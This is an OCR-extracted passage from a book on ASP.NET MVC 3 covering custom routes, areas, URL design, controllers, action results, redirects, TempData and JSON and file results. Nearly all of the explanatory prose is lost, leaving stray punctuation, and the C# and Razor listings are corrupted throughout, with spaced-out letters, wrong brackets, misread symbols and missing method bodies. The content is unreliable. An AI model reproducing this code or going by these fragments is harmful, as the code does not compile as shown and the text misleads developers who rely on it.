SHtml.RouteLink("Click m e " , "MyOtherRoute", new ( action = "About" });
U r l .RouteUrl URL.
, .
URL :
,
MVC. URL
,
, URL.
,
.
( n u l l ).
, ,
.
318
, , ,
. .
R outeB ase
, Route URL,
- ,
, RouteBase. ,
URL,
URL.
RouteBase .
GetRouteData (HttpContextBase httpContext) . ,
URL.
RouteTable .Routes , -
null .
GetVirtualPath(RequestContext requestContext, RouteValueDictionary values).
, URL.
RouteTable .Routes
, - null .
RouteBase,
URL. , -
MVC Framework,
URL
. - URL.
,
RouteBase.
,
URL. LegacyController,
11.42.
11.42. L e g a c y C o n t r o lle r
using System.W e b .Mvc;
namespace URLsAndRoutes.Controllers (
public class LegacyController : Controller {
public ActionResult GetLegacyURL(string legacyURL)
return V i e w ((object)legacyURL);
)
}
GetLegacyURL
.
,
URL .
11. URL,
319
. 11.42 View.
View ,
, C# .
, object,
, .
, ,
, ,
.
, , GetLegacyURL. cshtml
11.43.
11.43. G etLegacyU R L
@model string
@{
ViewBag.Title = "GetLegacyURL";
Layout = null;
}
<h2>GetLegacyURL</h2>
The URL requested was: SModel
-, .
,
. ,
RouteBase .
URL
LegacyRoute,
I n f r astructure ( ,
- ). 11.44.
11.44. L e g a c y R o u te
using
using
using
using
using
System;
System.Linq;
System.Web;
System.Web.Mvc;
System.Web.Routing;
namespace URLsAndRoutes.Infrastructure {
public class LegacyRoute : RouteBase {
private str i n g [] urls;
public LegacyRoute(params string!] targetUrls)
urls = targetUrls;
}
public override RouteData GetRouteData(HttpContextBase httpContext)
RouteData result = null;
string requestedURL =
httpContext.Request.AppRelativeCurrentExecutionFilePath;
320
}
return result;
}
public override VirtualPathData GetVirtualPath(RequestContext requestContext,
RouteValueDictionary values) {
return null;
)
}
}
,
URL, .
.
GetRouteData, ,
URL.
, null,
, .
, RouteData,
controller action,
, .
Route D a t a ,
.
MvcRouteHandler, controller action:
result = new RouteData(this, new MvcRouteHandler()) ;
MVC , ..
/ MVC.
, "
, MvcRouteHandler.
URL, . URL
RouteValues. URL legacyURL.
, ,
,
.
,
R outeBase . 11.45.
11.45. R o u te B a se
public static void RegisterRoutes(RouteCollection routes)
routes.Add(new LegacyRoute(
~ /artides/Windows_3 .l_Overview.html" ,
"-/old/.N E T _ 1 .0_Class_Library"));
routes.MapRoute("MyRoute", "(controller}/{action}/(id}",
new { controller = "Home", action = "Index", id = UrlParameter.Optional });
11. URL,
321
URL,
. R o u t e C o l l e c t i o n ,
Add. URL,
,
. 11.8.
. 11.8. R o u t e B a s e
URL
U RL
G e t V i r t u a l P a t h . -, ,
, null.
V i r t u a l P a t h D a t a . G e t V i r t u a l P a t h
11.46.
11.46. G e t V i r t u a l P a t h
publ i c ove rr i de V i r t u a l P a t h D a t a G e t V i r t u a l P a t h ( R e q u e s t C o n t e x t requestContext,
R o u t e V a l u e D i c t i o n a r y values) (
V i r t u a l P a t h D a t a result = null;
if ( va l u e s .C o n t a i n s K e y (" l e g a c y U R L " ) &&
urls.Contains((string)values["legacyURL"], StringComparer.OrdinalIgnoreCase))
(
result = new Virtua lP a th Da ta ( th is ,
ne w Url He lp er ( re qu es t Co nt ex t )
.C o n t e n t ( ( s t r i n g ) v a l u e s [" l e g a c y U R L " ]).S ub s t r i n g (1));
}
re turn result;
,
R o u t e V a l u e D i c t i o n a r y . , :
@ H t m l . A c t i o n L i n k ("Click me", "GetLegacyURL", new { l eg a c y U R L =
"~ / a r t i c l e s / W i n d o w s _ 3 .l_Overview.html" })
, l e g a c y U R L ,
R o u t e V a l u e D i c t i o n a r y , .
URL,
l e g a c y U R L URL, .
c o n t r o l l e r action,
.
V i r t u a l P a t h D a t a ,
URL. C o n t e n t
11 . 4039
322
UrlHelper U R L URL,
. , URL
/,
URL.
MvcRouteHandler, ..
M V C Framework.
M VC, , . ,
IRouteHandler.
11.47. IR o u t e H a n d le r
using System.Web;
using System.Web.Routing;
namespace URLsAndRoutes.Infrastructure {
public class CustomRouteHandler : IRouteHandler {
public IHttpHandler GetHttpHandler(RequestContext requestContext)
return new CustomHttpHandler();
)
}
public class CustomHttpHandler : IHttpHandler (
public bool IsReusable {
get { return false; )
)
public void ProcessRequest(HttpContext context)
context.Response.Write("Hello");
)
}
}
I R o u t e H a n d l e r ,
IHttpHandler,
. , M VC,
. , ,
. .
Hello ( HTML-, , ).
,
11.48.
11.48.
public static void RegisterRoutes(RouteCollection routes)
11. URL,
323
U R L / S a y H e l l o
. . 11.9.
. 11.9.
, .
.
MVC Framework ,
.
MVC Framework -
(area), ,
, , ..
,
, .
MVC ,
. ,
.
, .
;
URL . ,
MVC.
MVC WorkingWithAreas,
Internet Application.
MVC
Solution Explorer ( )
AddOArea (). Visual Studio
(. 11.10). A d m i n .
, .. -
. Add (),
.
. 11 .10. MVC
324
Add ,
. ,
Areas. , , Admin,
.
.
Areas/Admin - MVC.
Controllers, Models Views. , Views
Shared ( W e b .config,
, 15).
AdminArea R e g i s t r a t i o n .cs,
AdminAreaRegistration, 11.49.
11.49. A d m in A r e a R e g is tr a t io n
using System.Web.Mvc;
namespace WorkingWithAreas.Areas.Admin {
public class AdminAreaRegistration : AreaRegistration {
public override string AreaName {
get {
return "Admin";
}
}
public override void RegisterArea(AreaRegistrationContext context)
context.MapRoute(
"Admin_default",
"Admin/(controller}/(action}/ {id)",
new { action = "Index", id = UrlParameter.Optional )
);
)
}
R e g is t e r A r e a .
, URL A d m in / (c o n t r o lle r )/
{ a c t i o n } / { i d } . ,
.
! ,
, , .
,
. Applicat i o n _ S t a r t
G l o b a l .asax, 11.50.
11.50. G lo b a l.a s a x
protected void Application S t a r t () {
AreaRegistration.RegisterAllAreas();
RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes);
)
11. URL,
325
A r e a R e g i s t r a t i o n . R e g i s t e r A l l A r e a s
, MVC Framework ,
, A r e a R e g i s t r a t i o n ,
RegisterArea.
, ,
A p p l i c a t i o n _ S t a r t . R e g i s t e r R o u t e s
A r e a R e g i s t r a t i o n . R e g i s t e r A l l A r e a s ,
. , , ,
, ,
.
A r e a R e g i s t r a t i o n C o n t e x t , R e g i s t e r A r e a
, M a p R o u t e .
,
R e g i s t e r R o u t e s G l o b a l . a s a x .
M a p R o u t e A r e a R e g i s t r a t i o n C o n t e x t
,
. ,
;
.
, ,
.
C o n t r o l l e r s
Add1
^Controller (^
). Add Controller ( ),
(. 11.11).
. 11 .11.
326
. ASP.NET MVC 3
Add () ,
11.51. H o m e C o n t r o l l e r ,
.
11.51. , MVC
u s i n g System .W eb.Mvc;
namespace W o r k i n g W i t h A r e a s . A r e a s . A d m i n . C o n t r o l l e r s {
p u b l i c c l a s s H o m e C o n t r o l le r : C o n t r o l l e r {
p u b l i c A c t i o n R e s u l t I n d e x ()
retu rn V iew ();
}
}
}_____________________________________
_______ ___________________
,
I n d e x
AddoView (1
^ ).
( I n d e x ) . A r e a s / A d m i n / V i e w s / H o m e .
11.52.
11.52.
@{
V ie w B a g .T itle = "Index";
)
<h2>Admin A r e a Index</h2>
,
, MVC. ,
. ,
.
/ A d m i n / H o m e / In d e x ,
(. 11.12).
. 11 . 12 .
, .
URL , ,
. 11.13.
, , ,
, .
/ A d m in / H o m e / In d e x H o m e C o n t r o l l e r
W o r k i n g W i t h A r e a s . A r e a s . A d m in . C o n t r o l l e r s .
11. URL,
327
. 1 1 .1 3 .
, Re g i s t e r R o u t e s Global, asax,
. ,
Visual Studio, 11.53.
11.53. MVC
public static void RegisterRoutes(RouteCollection routes)
routes.IgnoreRoute("(resource).ax d / (*pathInfo)");
routes.MapRoute(
"Default",
//
"(controller)/(action}/(id}", // URL
new { controller = "Home", action = "Index", id = UrlParameter.Optional }
);
}
D e f a u l t URL
Index Home. ,
MVC Framework
HomeController.
G l o b a l .asax,
11.54.
11.54.
public static void RegisterRoutes(RouteCollection routes) {
routes.IgnoreRoute("{resource).axd/(*pathlnf }");
routes.MapRoute(
"Default",
//
"(controller)/(action)/(id}",
// URL
new ( controller = "Home", action = "Index", id = UrlParameter.Optional },
new[] {"WorkingWithAreas.Controllers"}
);
)
328
,
. ,
, .
, ,
, .
MVC Framework ,
, URL
, . ,
Adm in:
@ H t m l.A c t io n L in k ("C l ic k m e",
"A bout")
HTML-:
<a href="/Admin/Home/About">Click me</a>
,
area
, :
@Html.ActionLink (" C lic k me to go to another area", "Index", new { area = "Support" ))
area
. HTML-, ,
(, Support,
):
< h r e f = " / S u p p o r t / H o m e " > C l i c k me t o g o t o a n o t h e r a r e a < / a >
(
/ C o n tr o lle r s ), :
@Html . A c t i o n L i n k ( " C l i c k me t o g o t o a n o t h e r a r e a " ,
"In d ex ",
new
})
URL
:
URL? ,
Visual Studio,
.
URL ,
. ,
,
.
URL
URL .
, , -
URL Amazon.com. URL :
h t t p ://www.amazon.com/Pro-ASP-NET-MVC-3-Framework/dp/14 30234 04 0/
ref=sr_l_13?s=books&ie=UTF8&qid=1294771153&sr=l-13
11. URL,
329
URL,
. , ,
ISBN
Amazon.com. U R L :
h t t p ://www.amazon.com/books/pro-aspnet-mvc3-framework
U R L .
! , , Amazon
, , . ,
Amazon .
, -
Amazon URL. Amazon. Amazon.
, URL.
,
URL .
U R L ,
. /Articles/AnnualReport, /Website_v2/
CachedContentServer/FromCache/AnnualReport.
. /Articles/AnnualReport, /Articles/2392.
(
,
), ,
(/Articles/2392/AnnualReport). U R L ,
.
, .
H T M L - (, .aspx
.mvc), (
.jpg, .pdf .zip). -
, M IM E , , PDF
. pdf.
(, /Products/Menswear/Shirts/Red),
, U R L .
.
ASP.NET .
, .
( /my-great-article).
, U R L -
(/my+great+article),
(/my%20great%20article).
URL. -.
U R L U R L
(301) .
. URL .
330
U R L , ,
, . ,
, h t t p :/ /ww w .u s e i t .com/
alertbox/990321 .html. -. ,
(. http://www.w3.org/Provider/Style/URI).
GET POST:
, GET
, , POST
, .
GET (
, ), POST
( -).
W 3 C (World Wide Web Consortium) :
h t t p :// w w w .w 3 .org/Provider/Style/URI
^ URL,
.
GET , .
- 20 0 5 .,
Google Web Accelerator. ,
, GET,
HTTP. , , - HTTP
" ". .
,
, .. .
, U R L
.
, -.
. ,
URL,
.
, URL.
,
M VC. ,
.
1 2
, , .
,
, .
, -
, .
ASP.NET MVG Framework .NETT,
, . 4 ,
. ,
,
.
, ,
. MVC Framework HTML , .
,
, ,
.
.
, .
.
MVC 3
Empty () C o n tro lle rs A n d A c tio n s . Empty
, ,
.
i C o n t r o l l e r
MVC Framework IController
System.Web.Mvc, 12.1.
332
II. ASP.NET 3
. E x e c u t e () ,
. M V C Framework ,
, controller,
.
IController,
,
, , , - .
12.2 BasicC o n t r o l l e r ,
.
12.2. B a s i c C o n t r o l l e r
u s i n g S y s t e m . W e b .Mvc;
u s i n g S y s t e m . W e b .Routing;
n a m e s p a c e C o n t r o l l e r s A n d A c t i o n s .C o n t r o l l e r s {
p u b l i c class B a s i c C o n t r o l l e r : I C o n t r o l l e r {
p u b l i c v o i d E x e c u t e ( R e q u e s t C o n t e x t reques t C o n t e x t )
C o n t r o l l e r s A d d ^N ew Class
(^ ). B a s i c C o n t r o l l e r
, 12.2.
E x e c u t e () c o n t r o l l e r a c t i o n
RouteData, , .
/Basic/Index,
, . 12.1.
. 12.1.
, B a s i c C o n t r o l l e r
I C o n t r o l l e r , M V C
Framework ,
.
M V C Framework , , ,
.
C o n t r o lle r
M V C Framework
. -
12.
333
, IController.
? ?
,
.
, M V C Framework,
System.Web.Mvc.Controller.
System.Web.Mvc.Controller ,
M V C . ,
.
Controller .
. (
ExecuteO).
U R L ,
.
. ,
(,
U R L ),
.
.
. (
, , 9) ,
[Attribute]
.
,
Controller, ,
, Visual Studio,
Add1^ Controller (^). 12.3
, .
DerivedController.
}
}
Controller Ex e c u t e O
, action .
Controller .
12.3 View(),
. 12.4
, MyView.cshtml
Views/Derived .
334
1 2 .4 . M y V i e w . c s h t m l
0{
V i e w B a g . T i t l e = "MyView";
}
<h2>MyView</h2>
Message: @ V i e w B a g . M e s s a g e
/ D e r i v ed/Index ,
, , M y V i e w ,
. 12.2.
. 12.2. , D e r i v e d C o n t r o l l e r
Controller,
,
.
, .
,
, , URL
. :
:
;
.
,
. 17.
.
Controller,
, . Request, Response,
RouteData, H t t p C o n t e x t Server.
. ,
C o n t r o l l e r C o n t e x t (
Controller.ControllerContext).
. 12.1.
12.
335
12.1.
Request.QueryString
NameValueCollection
GET,
Request.Form
NameValueCollection
POST,
Request.Cookies
HttpCookieCollection
-,
Request.HttpMethod
string
HTTP (,
GET POST),
Request.Headers
NameValueCollection
HTTP,
Request.Url
Uri
URL
Request.UserHostAddress
string
IP- ,
RouteData.Route
RouteBase
RouteTable.Routes,
RouteData.Values
RouteValueDictionary
( URL,
)
HttpContext.Application
HttpApplicationStateBase
HttpContext.Cache
Cache
HttpContext.Items
IDictionary
HttpContext.Session
HttpSessionStateBase
User
IPrincipal
TempData
TempDataDictionary
(. 12.5).
12.5. ,
____________________
public ActionResult RenameProduct() {
//
string userName = U s e r .Identity.N a m e ;
string serverName = Ser v e r .MachineName;
string clientIP = Request.UserHostAddress;
DateTime dateStamp = HttpContext.Timestamp;
AuditRequest(userName, serverName, clientIP, dateStamp, "Renaming product") ;
// Request.Form
string oldProductName = Request.Form["01dName"];
string newProductName = Request.F o r m ["NewName"];
bool result = AttemptProductRename(oldProductName, newProductName);
ViewData["RenameResult"] = result;
return V i e w ("ProductRenamed");
)
336
II. ASP.NET 3
IntelliSense ( this,
) Microsoft Developer Network (
System.Web.Mvc.Controller System.Web.
Mvc. ControllerContext).
,
. ,
,
. , , ,
:
public ActionResult ShowWeatherB'orecast () {
string city = RouteData.Values["city"];
DateTime forDate = DateTime.Parse(Reguest.F o r m ["forDate"]);
// ... . . .
}
, :
public ActionResult ShowWeatherForecast (string city, DateTime forDate){
// ... . . .
)
,
.
,
out ref. .
, ASP.NET MVC .
MVC Framework ,
, Request.QueryString, Request.Form
RouteData.Values.
, city
Request. Form ["City"].
Controller
MVC Framework,
.
,
. ,
Request.Form, Request.QueryString, Request.Files
RouteData.Values. ,
, .
.NET, , .
9,
Product,
, HTML-.
17.
12.
337
MVC Framework
( string object), - ,
null.
( int double),
. -.
.
, (
), , null
( int? DateTime?); MVC Framework
null, .
.
( , null),
,
null. , null,
ArgumentNullException.
! .
,
, 18.
,
, null
,
#. 12.6 .
12.6. C#
public ActionResult Search(string query= "all", int page = 1) (
II ...
,
. 12.6
query . MVC Framework
, , ,
, .
query string ,
null . query
, a l l .
int, ,
.
, 1.
,
, new,
string, int double.
338
,
(,
int), ,
(.. int),
ModelState.
ModelState,
, ,
, .
8 18 ModelState,
, .
, ,
. ,
IController,
, . ,
HTML- HTML-,
Response.Write.
, URL,
Response.Redirect URL.
, 12.7.
12.7. I C o n t r o l l e r
using System.Web.Mvc;
using System.W e b .Routing;
namespace ControllersAndActions.Controllers (
public class BasicController : IController {
public void Execute(RequestContext requestContext)
)
'
Controller. HttpResponseBase,
requestContext.HttpContext.Response ExecuteO,
Controller.Response, 12.8.
12.8. R esponse
using System.Web.Mvc;
namespace ControllersAndActions.Controllers (
12.
339
(1}",
c o n tro lle r,
a ctio n ));
}
}
}
, .
HTML URL,
.
, ,
. R e s p o n s e
, ,
, . , ,
HTML- ,
.
, .
,
, ,
.
, MVC Framework ,
.
.
MVC Framework
. .
R e s p o n se , ,
A c t i o n R e s u l t , ,
,
URL .
Command
(). , ,
http://ru.wikipedia.org/wiki/Koaa_(ao_poepoa).
MVC Framework A c t i o n R e s u l t
, E x e c u t e R e s u l t , .
R e s p o n s e , ,
. R e d i r e c t R e s u l t
12.9. MVC Framework ,
, . ,
.
340
1 2 .9 . S y s t e m . W e b . M v c . R e d i r e c t R e s u l t
public class RedirectResult : ActionResult (
public RedirectResult (string u r l ) : this(url, permanent: false)
)
public RedirectResult(string url, bool permanent)
Permanent = permanent;
Url = url;
<
}
public override void ExecuteResult(ControllerContext context) (
string destinationUrl= UrlHelper.GenerateContentUrl(Url, context.HttpContext);
if (Permanent) (
context.HttpContext.Response.RedirectPermanent(destinationUrl,
endResponse: false);
)
else (
context.HttpContext.Response.Redirect(destinationUrl, endResponse: false);
R edirectResult URL,
, ,
: . ExecuteResult,
MVC Framework ,
Response ControllerContext.
, RedirectPermanent, Redirect (
, 12.8).
MVC Framework ,
, .
.
-.
( HttpRequestBase),
.
HTML-
. ,
ActionResult.
. MVC Framework
, .
.
12.
341
,
.
, .
, .
.
R e d i r e c t R e s u l t
. 12.10
DerivedController ,
RedirectResult .
12.10. R e d ir e c t R e s u lt
using System.Web.Mvc;
namespace ControllersAndActions.Controllers {
public class DerivedController : Controller {
public void I n d e x () {
string controller = (string)RouteData.Values["controller"];
string action = (string)RouteData.Values["action"];
Response.Write(
string.For m a t ("Controller: (0), Action: {1}", controller, action));
)
public ActionResult Redirect() {
return new RedirectResult("/Derived/Index");
/Derived/Redirect
/Derived/Index. Controller
, ActionResult. ,
, , 12.10,
Redirect, 12.11.
12.11.
public ActionResult Redirect () {
return Redirect("/Derived/Index");
)
,
, . ,
.
, , ,
RedirectResult, Url .
M V C Framework
, . 12.2. ActionResult,
Controller.
342
12.2. A c t io n R e s u lt
V ie w R esu lt
V ie w
P a rtialV ie w R e su lt
P a rtialV ie w
R e d ire c t T o R o u t e R e su lt
HTTP
301 302
, URL
C on tentR esu lt
HTTP 301
302 URL
*
Controller
R e d ire ct
R e d ire ctP erm a n e n t
,
( c o n t e n t - t y p e )
Content
F ileR esu lt
(
)
F ile
Jso n R esu lt
.NET
JSON
Json
JavaScript,
(
AJAX,
19)
Jav aScrip t
HTTP 401 ( "
),
(
Windows)
HTTP 404
Not found" (" ")
HttpNotFound
HTTP
E m p tyR esult
, ,
.
12.
343
HTML-
HTML . ,
ViewResult,
HTML-,
12.12.
12 .1 2 . V ie w R e s u lt
using System.Web.Mvc;
namespace ControllersAndActions.Controllers {
public class ExampleController : Controller {
public ViewResult I n d e x () {
return V i e w ("Homepage");
1
}
}
View
ViewResult,
.
! , ViewResult.
,
ActionResult. MVC
ActionResult, ,
. ,
, -
.
, , .
, ,
View. Homepage.
! ViewResult ( return new
ViewResult { ViewName = "Homepage" };). ,
,
Controller.
/Areas/<Oac^>/Views/Shared/<.pecae>.aspx
/Areas/<Oac>/Views/Shared/<pecae>.ascx
/Areas/<Oac>/Views/<^fopoepa>/<pecae>.cshtml
. /Areas/<Oaca 1
>/Views/<^Copoepa>/<pecae>.vbhtml
/Areas/<.Oac>/Views/Shared/<.pecae>.cshtml
/Areas/<.^^Oac>/Views/Shared/<.^^pecae^'f>.vbhtml
344
, ,
A S P X ( .aspx
.ascx), , Razor.
Razor C# Visual Basic .NET ( .cshtml C#
.vbhtml Visual Basic; Razor ,
). M V C Framework ,
, . ,
,
.
, ,
,
;
/Views /<>/<>. aspx
/1^/<>/<>. ascx
/^/5&6./<>. aspx
/Views/Shared/<pe^^cae>. ascx
/\/<1>/<>. cshtml
/1^/<>/<>. vbhtml
/Views/Shared/<^^pecae>.vbhtml
-, M V C Framework , ,
.
12.12 , ,
, /Views/Example/Index.aspx.
, Controller , ViewResult
ExampleController Example.
:
, ,
ViewResult. ,
HTML-,
, , ..
MVC Framework.
,
, :
public ViewResult Ind e x () {
return View("Homepage");
)
, ,
ViewName ViewResult, :
[TestMethod]
public void ViewSelectionTest() (
//
ExampleController target = new ExampleController ();
//
ActionResult result = target.Ind e x ();
12.
345
//
Assert.AreEqual("Homepage", result.ViewName);
}
,
:
public ViewResult Index () {
return V i e w ();
}
(" " ):
Assert.AreEqual ("", result.ViewName);
, MVC Framework ,
.
.
, .
. .
15 , .
,
View, 12.13.
12.13. V ie w R e s u lt
using
Sy ste m .W e b .M v c;
namespace C o n t r o l l e r s A n d A c t i o n s . C o n t r o l l e r s
MVC Framework ,
, , . ,
View() 12.13 Index.
! , , ,
, ,
R o u te D a ta .V a lu e s [ " a c t i o n " ] , 12.7
11.
View().
ViewResult. , ,
, ,
:
public ViewResult Ind e x () {
return View("Index", "_AlternateLayoutPage");
346
, ,
. ,
. :
using System.Web.Mvc;
namespace ControllersAndActions.Controllers {
public class ExampleController : Controller {
public ViewResult Index() {
return View("-/Views/Other/Index.cshtml");
}
}
)
/ ~/
( .cshtml Razor, #).
, :
? ,
, ,
(
). ,
, 15, ,
.
.
MVC Framework ,
. ,
15.
,
.
,
View(), 12.14.
12.14.
public ViewResult Index () {
DateTime date = DateTime.Now;
return View(date) ;
}
DateTime .
Model R a zo r (.
12.15).
12.15. Razor
@(
ViewBag.Title = "Index";
}
<h2>Index</h2>
The day is: @ (((DateTime)Model).DayOfWeek)
12.
347
, 12.15,
.
, object.
DayOfWeek, DateTime. ,
. ,
,
, 12.16.
12.16.
Smodel DateTime
0<
ViewBag.Title = "Index";
<h2>Index</h2>
The day is: 0Model.DayOfWeek
model
Razor. m
.
, Visual Studio
IntelllSense, . 12.3.
. 12.3. IntelliSense
:
,
, ViewResult .ViewData. Model.
:
public ViewResult Ind e x () {
return V i e w ((object)"Hello, World");
}
.
object, ,
View(), .
ViewData.Model,
:
[TestMethod]
public void ViewSelectionTest() {
//
ExampleController target = new ExampleController ();
// -
ActionResult result = target.Ind e x ();
// -
Assert.AreEqual("Hello, World", result.ViewData.M o d e l ) ;
348
ViewBag
ViewBag 3.
.
Controller.ViewBag (. 12.17).
12.17. View B ag
public ViewResult Index () {
ViewBag.Message = "Hello";
ViewBag.Date = DateTime.Now;
return V i e w ();
)
Message Date
. ,
.
, (.
12.18).
12.18. View B ag
0(
ViewBag.Title = "Index";
}
<h2>Index</h2>
The da y
is :
@ V ie w B a g . D a t e . D ayO fW eek
<p />
The message is: gviewBag.Message
ViewBag
.
,
string DateTime, ,
12.17 12.18.
, :
The day is: SViewBag.D a t e .DayOfWeek.B l a h .B l a h .Blah
Visual Studio IntelliSense
, ViewBag,
.
. ViewBag,
. ,
, ViewBag. ,
.
12.
349
: V ie w B a g
ViewBag ViewResult.ViewBag.
12.17:
[TestMethod]
public void ViewSelectionTest () {
//
ExampleController target = new ExampleController ();
// -
ActionResult result = target.Index ();
// -
ViewData
ViewBag MVC 3.
(view data).
ViewData ViewBag, ViewDataDictionary,
. ViewDataDictionary
/ ViewData Controller,
12.19.
12.19. V ie w D a ta
public ViewResult Ind e x () {
V i e w D a t a [" M e s s a g e " ] = " H e l l o " ;
ViewData["Date"] = DateTime.N o w ;
return V i e w ();
)
/
(. 12.20).
12,20. V ie w D a ta
@(
ViewBag.Title = "Index";
)
<h2>Index</h2>
The day is: @ (((DateTime)ViewData["Date"]) .DayOfWeek)
<p />
The message is: ViewData["Message"]
,
, .
! ViewBag ViewData ,
-
, .
350
II. ASP.NET 3
: V ie w D a ta
, ViewData,
ViewResult .ViewData.
12.19:
[TestMethod]
public void ViewSelectionTest() {
//
ExampleController target = new ExampleController();
// -
ActionResult result = target.Ind e x ();
// -
Asse r t .AreEqual("Hello", result.ViewData["Message"]);
-
, URL.
URL ,
, .
Post/Redirect/Get
, POST. , POST ,
. H TM L , ,
.
P o s t/
R e d ire c t/G e t. POST,
GET URL. GET
,
.
HTTP.
HTTP 302. .
, MVC 3
, MVC
Framework. Post/Redirect/Get
.
HTTP 301, .
, ..
URL, URL,
.
, .. 302.
12.
351
URL
Redirect , RedirectResult,
12.21.
12.21. URL
public RedirectResult Redi r e c t () {
return Redi r e c t ("/Example/Index");
)
URL, ,
RedirectO. RedirectO
.
RedirectPermanentO, 12.22.
12.22. URL
public RedirectResult Redirect)) {
return tfedirectPermanent("/Example/Index");
. RedirectO,
bool, , .
: URL
URL . Url Permanent
RedirectResult URL (
). 12.21.
[TestMethod]
public void RedirectTest () {
//
ExampleController target = new ExampleController () ;
// -
RedirectResult result = target.Redirect();
// -
Assert. IsFalse(result.Permanent);
Asse r t .A r e E q u a l ("/Example/Index", result.Url);
}
URL
U RL
URL,
. U R L
URL.
U R L RedirectToRoute (),
RedirectToRouteResult, 12.23.
352
1 2 .2 3 . URL
public RedirectToRouteResult R edirectO
return RedirectToRoute(new {
controller = "Example",
action = "Index",
ID = "MylD"
}> ;
RedirectToRoute () .
RedirectToRoutePermanent().
,
U R L .
U R I 11.
: URL
12.23:
[TestMethod]
public void RedirectValueTest () {
//
ExampleController target = new ExampleController ();
// -
RedirectToRouteResult result = target.Redirect ;
// -
Assert.IsFalse(result.Permanent);
Assert. AreEqual ("Example", result.RouteValues [" controller " ]) ,Assert.AreEqual("Index", result.RouteValues["action"]);
Ass e r t .A r e E q u a l ("MyID", result.RouteValues["ID"]);
)
,
RedirectToAction().
RedirectToRoute
(. 12.24).
12.24. R e d i r e c t T o A c t i o n ()
public RedirectToRouteResult R edir e c t O
return RedirectToAction("Index");
, ,
.
, :
return RedirectToAction("Index", "MyController");
,
, U R L .
, ,
.
12.
353
! , ,
, ,
.
RedirectToAction() .
RedirectToActionPermanent().
HTTP,
.
, TempData.
}
, TempData,
Index .
TempData :
public ViewResult Index {
ViewBag.Message = TempData["Message"];
ViewBag.Date = TempData["Date"];
return V i e w ();
}
:
@{
ViewBag.Title = "Index";
}
<h2>Index</h2>
The day is: @ (((DateTime)TempData["Date"]).DayOfWeek)
<P />
The message is: STempData["Message"]
ViewBag
ViewData . TempData
. TempData , ,
(), :
DateTime time = (DateTime)TempData.P e e k ("Date");
Keep :
TempData.K e e p ("Date") ;
Keep () . ,
. ,
, TempData .
12 , 4039
354
HTML
, - :
XML, RSS Atom ( XML);
JSON ( AJAX);
CSV ( );
.
MVC Framework JSON,
.
C on tentR esu lt . 12.25 .
12.25.
public ContentResult Index () {
string message = "This is plain text";
return Content(message, "text/plain", Encoding.Default);
}
ContentResult Controller.
Content, .
, .
HTTP- c o n t e n t - t y p e .
System.Net.Mime.MediaTypeNames. ,
, text/plain.
,
.
, ,
HTML ( text/html).
, ,
. , :
return Content("This is plain text");
.
, A ctio n R es u lt, MVC Framework HTML,
12.26.
12.26. ,
A c t io n R e s u lt
public object I n d e x () {
return "This is plain text";
)
. 12.4 , .
12.
355
. 12.4. ,
c o n t e n t - t y p e t e x t . h t m l
: C o n t e n t R e s u l t
, C o n t e n t R e s u l t ,
, .
12.25:
[TestMethod]
p u b l i c v o i d C o n t e n t T e s t () {
//
E x a m p l e C o n t r o l l e r t a r g e t = n e w E x a m p l e C o n t r o l l e r ();
// -
C o n t e n t R e s u l t re s u l t = t a r g e t .Index ();
// -
A s s e r t . A r e E q u a l ( " t e x t / p l a i n " , r e s u l t .C o n t e n t T y p e ) ;
A s s e r t . A r e E q u a l ( " T h i s is p l a i n text", r e s u l t .C o n t e n t ) ;
)
C o n t e n t R e s u l t . C o n t e n t ,
, C o n t e n t T y p e MIME .
C o n t e n t R e s u l t C o n t e n t E n c o n d i n g ,
,
MVC Framework , .
XML
X M L ,
X M L - LINQ to X M L API XDocum ent. 12.27 .
12.27. XML-
public ContentResult X M L D a t a O (
StoryLink[] sto r i e s = G e t A l l S t o r i e s ();
X E l e m e n t d a t a = new X E l e m e n t ( " S t o r y L i s t " , s t o r i e s .S e l e c t ( e => (
r e t u r n n e w X E l e m e n t (" S t o r y " ,
new X A t t r i b u t e ( " t i t l e " , e.Title),
new X A t t r i b u t e (" d e s c r i p t i o n " , e .D e s c r i p t i o n ) ,
n e w X A t t r i b u t e ( " l i n k " , e.Url));
}) );
return C o n t e n t ( d a t a .T o S t r i n g (), "text/xml");
StoryLink, X M L -,
:
p u b l i c c l a s s StoryL i n k (
p u b l i c s t r i n g T i t l e (get; s e t ; }
p u b l i c s t r i n g D e s c r i p t i o n ( get; set; }
p u b l i c s t r i n g Url ( get; set; }
)
356
X M L -:
< S to ry List>
< S t o r y t i t l e = " F i r s t example s t o r y "
d e s c r i p t i o n = " T h i s i s t h e f i r s t example s t o r y " l i n k = " / S t o r y / l " />
< S t o r y t i t l e = " S e c o n d example s t o r y "
d e s c r i p t i o n = " T h i s i s th e s e co n d example s t o r y " l i n k = " / S t o r y / 2 " />
< S t o r y t i t l e = " T h i r d example s t o r y "
d e s c r i p t i o n = " T h i s i s th e t h i r d example s t o r y " l i n k = " / S t o r y / 3 " />
< /S to ry L ist>
. LINQ to XML API- XDocument,
.
XML. LINQ:
C# 2010 ( , 2011 .).
JSON
X M L - X M L - - , J S O N (JavaScript
Object Notation JavaScript).
J S O N ,
. J S O N JavaScript, ,
-,
, X M L .
AJAX,
19.
M V C Framework J s o n R e s u l t ,
.N ET J S O N . J s o n R e s u l t
C o n t r o l l e r . Json , 12.28.
12.28. JSON J s o n R e s u l t
[H ttpPost]
p u b lic J so n R e su lt JsonD ataO
12.
357
! , ,
J s o n R e s u l t
HTTP- POST.
(. 21).
, JSON, H t t p P o s t ;
, . 19
, .
F i l e R e s u l t ,
. MVC Framework
:
FileC ontentResult
FileStream Result
S y s t e m .1 0 . Stream.
, , ..
C o n t r o l l e r . F i l e .
.
12.29 , .
12.29.
pu b l i c F i l e R e s u l t A n n u a l R e p o r t () {
string
filenam e
string
string
return
F ile(filen am e,
ContentType,
d ow nloadNam e);
,
, . 12.5.
. 12 .5.
358
-. . 12.5
, Internet Explorer 8.
F i l e , ,
, . 12.3.
12.3. , F i l e
f ile n a m e
s t r in g
( ),
.
C on ten tTyp e
s trin g
MIME
c o n t e n t - t y p e .
, .
, a p p l i c a t i o n /
v n d .m s - e x c e l,
Microsoft Excel. ,
a p p li c a t i o n / p d f
PDF-
s t r in g
c o n t e n t - d is p o s i t i o n
.
,
.
, URL
fileDownloadName
fileD o w n lo a d N a m e , ,
M IM E (, im a g e / g if) ,
.
file D o w n lo a d N a m e , ,
M IM E (, a p p lic a t io n / v n d .m s - e x c e l) ,
,
U R L ( Internet Explorer
MIME).
, ,
.m vc, . ,
file D o w n lo a d N a m e ,
